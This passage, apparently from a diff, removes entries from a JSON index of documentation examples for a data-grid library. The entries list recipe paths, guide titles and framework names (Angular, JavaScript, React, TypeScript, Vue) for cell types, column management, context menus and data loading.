- }, - { - "docsPath": "recipes/cell-types/feedback/javascript/example1.ts", - "file": "recipes__cell-types__feedback__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Feedback" - ], - "guide": "recipes/cell-types/feedback/feedback.md", - "guideTitle": "Feedback", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/feedback", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/cell-types/flatpickr/angular/example1.ts", - "file": "recipes__cell-types__flatpickr__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Flatpickr" - ], - "guide": "recipes/cell-types/flatpickr/flatpickr.md", - "guideTitle": "Flatpickr", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/flatpickr", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/cell-types/flatpickr/javascript/example1.js", - "file": "recipes__cell-types__flatpickr__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Flatpickr" - ], - "guide": "recipes/cell-types/flatpickr/flatpickr.md", - "guideTitle": "Flatpickr", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/flatpickr", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/cell-types/flatpickr/react/example1.tsx", - "file": "recipes__cell-types__flatpickr__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Flatpickr" - ], - "guide": "recipes/cell-types/flatpickr/flatpickr.md", - "guideTitle": "Flatpickr", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/flatpickr", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/cell-types/flatpickr/javascript/example1.ts", - "file": "recipes__cell-types__flatpickr__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Flatpickr" - ], - "guide": "recipes/cell-types/flatpickr/flatpickr.md", - "guideTitle": "Flatpickr", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/flatpickr", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/cell-types/moment-date/angular/example1.ts", - "file": "recipes__cell-types__moment-date__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Moment.js-based date" - ], - "guide": "recipes/cell-types/moment-date/moment-date.md", - "guideTitle": "Moment.js-based date", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/moment-date", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/cell-types/moment-date/javascript/example1.js", - "file": "recipes__cell-types__moment-date__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Moment.js-based date" - ], - "guide": "recipes/cell-types/moment-date/moment-date.md", - "guideTitle": "Moment.js-based date", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/moment-date", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/cell-types/moment-date/react/example1.tsx", - "file": "recipes__cell-types__moment-date__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Moment.js-based date" - ], - "guide": "recipes/cell-types/moment-date/moment-date.md", - "guideTitle": "Moment.js-based date", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/moment-date", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/cell-types/moment-date/javascript/example1.ts", - "file": "recipes__cell-types__moment-date__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Moment.js-based date" - ], - "guide": "recipes/cell-types/moment-date/moment-date.md", - "guideTitle": "Moment.js-based date", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/moment-date", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/cell-types/moment-time/angular/example1.ts", - "file": "recipes__cell-types__moment-time__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Moment.js-based time" - ], - "guide": "recipes/cell-types/moment-time/moment-time.md", - "guideTitle": "Moment.js-based time", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/moment-time", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/cell-types/moment-time/javascript/example1.js", - "file": "recipes__cell-types__moment-time__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Moment.js-based time" - ], - "guide": "recipes/cell-types/moment-time/moment-time.md", - "guideTitle": "Moment.js-based time", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/moment-time", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/cell-types/moment-time/react/example1.tsx", - "file": "recipes__cell-types__moment-time__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Moment.js-based time" - ], - "guide": "recipes/cell-types/moment-time/moment-time.md", - "guideTitle": "Moment.js-based time", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/moment-time", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/cell-types/moment-time/javascript/example1.ts", - "file": "recipes__cell-types__moment-time__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Moment.js-based time" - ], - "guide": "recipes/cell-types/moment-time/moment-time.md", - "guideTitle": "Moment.js-based time", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/moment-time", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/cell-types/numbro/angular/example1.ts", - "file": "recipes__cell-types__numbro__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Numbro" - ], - "guide": "recipes/cell-types/numbro/numbro.md", - "guideTitle": "Numbro", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/numbro", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/cell-types/numbro/javascript/example1.js", - "file": "recipes__cell-types__numbro__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Numbro" - ], - "guide": "recipes/cell-types/numbro/numbro.md", - "guideTitle": "Numbro", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/numbro", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/cell-types/numbro/react/example1.tsx", - "file": "recipes__cell-types__numbro__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Numbro" - ], - "guide": "recipes/cell-types/numbro/numbro.md", - "guideTitle": "Numbro", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/numbro", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/cell-types/numbro/javascript/example1.ts", - "file": "recipes__cell-types__numbro__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Numbro" - ], - "guide": "recipes/cell-types/numbro/numbro.md", - "guideTitle": "Numbro", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/numbro", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/cell-types/pikaday/angular/example1.ts", - "file": "recipes__cell-types__pikaday__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Pikaday" - ], - "guide": "recipes/cell-types/pikaday/pikaday.md", - "guideTitle": "Pikaday", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/pikaday", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/cell-types/pikaday/javascript/example1.js", - "file": "recipes__cell-types__pikaday__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Pikaday" - ], - "guide": "recipes/cell-types/pikaday/pikaday.md", - "guideTitle": "Pikaday", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/pikaday", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/cell-types/pikaday/react/example1.tsx", - "file": "recipes__cell-types__pikaday__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Pikaday" - ], - "guide": "recipes/cell-types/pikaday/pikaday.md", - "guideTitle": "Pikaday", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/pikaday", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/cell-types/pikaday/javascript/example1.ts", - "file": "recipes__cell-types__pikaday__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Pikaday" - ], - "guide": "recipes/cell-types/pikaday/pikaday.md", - "guideTitle": "Pikaday", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/pikaday", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/cell-types/radio/angular/example1.ts", - "file": "recipes__cell-types__radio__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Radio buttons" - ], - "guide": "recipes/cell-types/radio/radio.md", - "guideTitle": "Radio buttons", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/radio", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/cell-types/radio/javascript/example1.js", - "file": "recipes__cell-types__radio__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Radio buttons" - ], - "guide": "recipes/cell-types/radio/radio.md", - "guideTitle": "Radio buttons", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/radio", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/cell-types/radio/react/example1.tsx", - "file": "recipes__cell-types__radio__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Radio buttons" - ], - "guide": "recipes/cell-types/radio/radio.md", - "guideTitle": "Radio buttons", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/radio", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/cell-types/radio/javascript/example1.ts", - "file": "recipes__cell-types__radio__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Radio buttons" - ], - "guide": "recipes/cell-types/radio/radio.md", - "guideTitle": "Radio buttons", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/radio", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/cell-types/radio/vue/example1.vue", - "file": "recipes__cell-types__radio__vue__example1.vue.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Radio buttons" - ], - "guide": "recipes/cell-types/radio/radio.md", - "guideTitle": "Radio buttons", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/radio", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "recipes/cell-types/guide-rating-angular/angular/example1.ts", - "file": "recipes__cell-types__guide-rating-angular__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Star Rating Editor" - ], - "guide": "recipes/cell-types/guide-rating-angular/guide-rating.md", - "guideTitle": "Star Rating Editor", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/rating-angular", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/cell-types/rating/angular/example1.ts", - "file": "recipes__cell-types__rating__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Star Rating" - ], - "guide": "recipes/cell-types/rating/rating.md", - "guideTitle": "Star Rating", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/rating", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/cell-types/rating/javascript/example1.js", - "file": "recipes__cell-types__rating__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Star Rating" - ], - "guide": "recipes/cell-types/rating/rating.md", - "guideTitle": "Star Rating", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/rating", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/cell-types/rating/react/example1.tsx", - "file": "recipes__cell-types__rating__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Star Rating" - ], - "guide": "recipes/cell-types/rating/rating.md", - "guideTitle": "Star Rating", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/rating", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/cell-types/react-rating/react/example1.tsx", - "file": "recipes__cell-types__react-rating__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Star Rating" - ], - "guide": "recipes/cell-types/react-rating/react-rating.md", - "guideTitle": "Star Rating", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/react-rating", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/cell-types/rating/javascript/example1.ts", - "file": "recipes__cell-types__rating__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Cell Types", - "Star Rating" - ], - "guide": "recipes/cell-types/rating/rating.md", - "guideTitle": "Star Rating", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/cell-types/rating", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/column-management/column-visibility/angular/example1.ts", - "file": "recipes__column-management__column-visibility__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Column Management", - "Build a dynamic column visibility toggle" - ], - "guide": "recipes/column-management/column-visibility/column-visibility.md", - "guideTitle": "Build a dynamic column visibility toggle", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/column-management/column-visibility", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/column-management/column-visibility/javascript/example1.js", - "file": "recipes__column-management__column-visibility__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Column Management", - "Build a dynamic column visibility toggle" - ], - "guide": "recipes/column-management/column-visibility/column-visibility.md", - "guideTitle": "Build a dynamic column visibility toggle", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/column-management/column-visibility", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/column-management/column-visibility/react/example1.tsx", - "file": "recipes__column-management__column-visibility__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Column Management", - "Build a dynamic column visibility toggle" - ], - "guide": "recipes/column-management/column-visibility/column-visibility.md", - "guideTitle": "Build a dynamic column visibility toggle", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/column-management/column-visibility", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/column-management/column-visibility/javascript/example1.ts", - "file": "recipes__column-management__column-visibility__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Column Management", - "Build a dynamic column visibility toggle" - ], - "guide": "recipes/column-management/column-visibility/column-visibility.md", - "guideTitle": "Build a dynamic column visibility toggle", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/column-management/column-visibility", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/column-management/freeze-columns/angular/example1.ts", - "file": "recipes__column-management__freeze-columns__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Column Management", - "Freeze and unfreeze columns at runtime" - ], - "guide": "recipes/column-management/freeze-columns/freeze-columns.md", - "guideTitle": "Freeze and unfreeze columns at runtime", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/column-management/freeze-columns", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/column-management/freeze-columns/javascript/example1.js", - "file": "recipes__column-management__freeze-columns__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Column Management", - "Freeze and unfreeze columns at runtime" - ], - "guide": "recipes/column-management/freeze-columns/freeze-columns.md", - "guideTitle": "Freeze and unfreeze columns at runtime", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/column-management/freeze-columns", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/column-management/freeze-columns/react/example1.tsx", - "file": "recipes__column-management__freeze-columns__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Column Management", - "Freeze and unfreeze columns at runtime" - ], - "guide": "recipes/column-management/freeze-columns/freeze-columns.md", - "guideTitle": "Freeze and unfreeze columns at runtime", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/column-management/freeze-columns", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/context-menu/add-column-object-data/angular/example1.ts", - "file": "recipes__context-menu__add-column-object-data__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Context Menu", - "Add a column to an object-based dataset" - ], - "guide": "recipes/context-menu/add-column-object-data/add-column-object-data.md", - "guideTitle": "Add a column to an object-based dataset", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/context-menu/add-column-object-data", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/context-menu/add-column-object-data/javascript/example1.js", - "file": "recipes__context-menu__add-column-object-data__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Context Menu", - "Add a column to an object-based dataset" - ], - "guide": "recipes/context-menu/add-column-object-data/add-column-object-data.md", - "guideTitle": "Add a column to an object-based dataset", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/context-menu/add-column-object-data", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/context-menu/add-column-object-data/react/example1.tsx", - "file": "recipes__context-menu__add-column-object-data__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Context Menu", - "Add a column to an object-based dataset" - ], - "guide": "recipes/context-menu/add-column-object-data/add-column-object-data.md", - "guideTitle": "Add a column to an object-based dataset", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/context-menu/add-column-object-data", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/context-menu/custom-context-menu/angular/example1.ts", - "file": "recipes__context-menu__custom-context-menu__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Context Menu", - "Custom context menu actions" - ], - "guide": "recipes/context-menu/custom-context-menu/custom-context-menu.md", - "guideTitle": "Custom context menu actions", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/context-menu/custom-context-menu", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/context-menu/custom-context-menu/javascript/example1.js", - "file": "recipes__context-menu__custom-context-menu__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Context Menu", - "Custom context menu actions" - ], - "guide": "recipes/context-menu/custom-context-menu/custom-context-menu.md", - "guideTitle": "Custom context menu actions", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/context-menu/custom-context-menu", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/context-menu/custom-context-menu/react/example1.tsx", - "file": "recipes__context-menu__custom-context-menu__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Context Menu", - "Custom context menu actions" - ], - "guide": "recipes/context-menu/custom-context-menu/custom-context-menu.md", - "guideTitle": "Custom context menu actions", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/context-menu/custom-context-menu", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/context-menu/row-operations/angular/example1.ts", - "file": "recipes__context-menu__row-operations__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Context Menu", - "Programmatic row operations" - ], - "guide": "recipes/context-menu/row-operations/row-operations.md", - "guideTitle": "Programmatic row operations", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/context-menu/row-operations", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/context-menu/row-operations/javascript/example1.js", - "file": "recipes__context-menu__row-operations__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Context Menu", - "Programmatic row operations" - ], - "guide": "recipes/context-menu/row-operations/row-operations.md", - "guideTitle": "Programmatic row operations", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/context-menu/row-operations", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/context-menu/row-operations/react/example1.tsx", - "file": "recipes__context-menu__row-operations__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Context Menu", - "Programmatic row operations" - ], - "guide": "recipes/context-menu/row-operations/row-operations.md", - "guideTitle": "Programmatic row operations", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/context-menu/row-operations", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/context-menu/row-operations/javascript/example1.ts", - "file": "recipes__context-menu__row-operations__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Context Menu", - "Programmatic row operations" - ], - "guide": "recipes/context-menu/row-operations/row-operations.md", - "guideTitle": "Programmatic row operations", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/context-menu/row-operations", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/data-management/auto-save-backend/angular/example1.ts", - "file": "recipes__data-management__auto-save-backend__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Auto-save changes to a backend" - ], - "guide": "recipes/data-management/auto-save-backend/auto-save-backend.md", - "guideTitle": "Auto-save changes to a backend", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/data-management/auto-save-backend", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/data-management/auto-save-backend/javascript/example1.js", - "file": "recipes__data-management__auto-save-backend__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Auto-save changes to a backend" - ], - "guide": "recipes/data-management/auto-save-backend/auto-save-backend.md", - "guideTitle": "Auto-save changes to a backend", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/data-management/auto-save-backend", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/data-management/auto-save-backend/react/example1.tsx", - "file": "recipes__data-management__auto-save-backend__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Auto-save changes to a backend" - ], - "guide": "recipes/data-management/auto-save-backend/auto-save-backend.md", - "guideTitle": "Auto-save changes to a backend", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/data-management/auto-save-backend", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/data-management/auto-save-backend/javascript/example1.ts", - "file": "recipes__data-management__auto-save-backend__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Auto-save changes to a backend" - ], - "guide": "recipes/data-management/auto-save-backend/auto-save-backend.md", - "guideTitle": "Auto-save changes to a backend", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/data-management/auto-save-backend", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/data-management/load-data-graphql/angular/example1.ts", - "file": "recipes__data-management__load-data-graphql__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Load data from a GraphQL API" - ], - "guide": "recipes/data-management/load-data-graphql/load-data-graphql.md", - "guideTitle": "Load data from a GraphQL API", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/data-management/load-data-graphql", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/data-management/load-data-graphql/javascript/example1.js", - "file": "recipes__data-management__load-data-graphql__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Load data from a GraphQL API" - ], - "guide": "recipes/data-management/load-data-graphql/load-data-graphql.md", - "guideTitle": "Load data from a GraphQL API", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/data-management/load-data-graphql", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/data-management/load-data-graphql/react/example1.tsx", - "file": "recipes__data-management__load-data-graphql__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Load data from a GraphQL API" - ], - "guide": "recipes/data-management/load-data-graphql/load-data-graphql.md", - "guideTitle": "Load data from a GraphQL API", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/data-management/load-data-graphql", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/data-management/load-data-graphql/javascript/example1.ts", - "file": "recipes__data-management__load-data-graphql__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Load data from a GraphQL API" - ], - "guide": "recipes/data-management/load-data-graphql/load-data-graphql.md", - "guideTitle": "Load data from a GraphQL API", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/data-management/load-data-graphql", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/data-management/load-data-graphql/angular/example2.ts", - "file": "recipes__data-management__load-data-graphql__angular__example2.ts.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Load data from a GraphQL API" - ], - "guide": "recipes/data-management/load-data-graphql/load-data-graphql.md", - "guideTitle": "Load data from a GraphQL API", - "exampleId": "example2", - "exampleTitle": "Using updateData() to preserve sorting and other states", - "docPermalink": "/recipes/data-management/load-data-graphql", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/data-management/load-data-graphql/javascript/example2.js", - "file": "recipes__data-management__load-data-graphql__javascript__example2.js.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Load data from a GraphQL API" - ], - "guide": "recipes/data-management/load-data-graphql/load-data-graphql.md", - "guideTitle": "Load data from a GraphQL API", - "exampleId": "example2", - "exampleTitle": "Using updateData() to preserve sorting and other states", - "docPermalink": "/recipes/data-management/load-data-graphql", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/data-management/load-data-graphql/react/example2.tsx", - "file": "recipes__data-management__load-data-graphql__react__example2.tsx.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Load data from a GraphQL API" - ], - "guide": "recipes/data-management/load-data-graphql/load-data-graphql.md", - "guideTitle": "Load data from a GraphQL API", - "exampleId": "example2", - "exampleTitle": "Using updateData() to preserve sorting and other states", - "docPermalink": "/recipes/data-management/load-data-graphql", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/data-management/load-data-graphql/javascript/example2.ts", - "file": "recipes__data-management__load-data-graphql__javascript__example2.ts.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Load data from a GraphQL API" - ], - "guide": "recipes/data-management/load-data-graphql/load-data-graphql.md", - "guideTitle": "Load data from a GraphQL API", - "exampleId": "example2", - "exampleTitle": "Using updateData() to preserve sorting and other states", - "docPermalink": "/recipes/data-management/load-data-graphql", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/data-management/load-data-rest-api/angular/example1.ts", - "file": "recipes__data-management__load-data-rest-api__angular__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Load data from a REST API" - ], - "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", - "guideTitle": "Load data from a REST API", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/data-management/load-data-rest-api", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "recipes/data-management/load-data-rest-api/javascript/example1.js", - "file": "recipes__data-management__load-data-rest-api__javascript__example1.js.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Load data from a REST API" - ], - "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", - "guideTitle": "Load data from a REST API", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/data-management/load-data-rest-api", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "recipes/data-management/load-data-rest-api/react/example1.tsx", - "file": "recipes__data-management__load-data-rest-api__react__example1.tsx.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Load data from a REST API" - ], - "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", - "guideTitle": "Load data from a REST API", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/data-management/load-data-rest-api", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "recipes/data-management/load-data-rest-api/javascript/example1.ts", - "file": "recipes__data-management__load-data-rest-api__javascript__example1.ts.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Load data from a REST API" - ], - "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", - "guideTitle": "Load data from a REST API", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/recipes/data-management/load-data-rest-api", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "recipes/data-management/load-data-rest-api/angular/example2.ts", - "file": "recipes__data-management__load-data-rest-api__angular__example2.ts.json", - "breadcrumb": [ - "Recipes", - "Data Management", - "Load data from a REST API" - ], - "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", - "guideTitle": "Load data from a REST API", - "exampleId": "example2", - "exampleTitle": 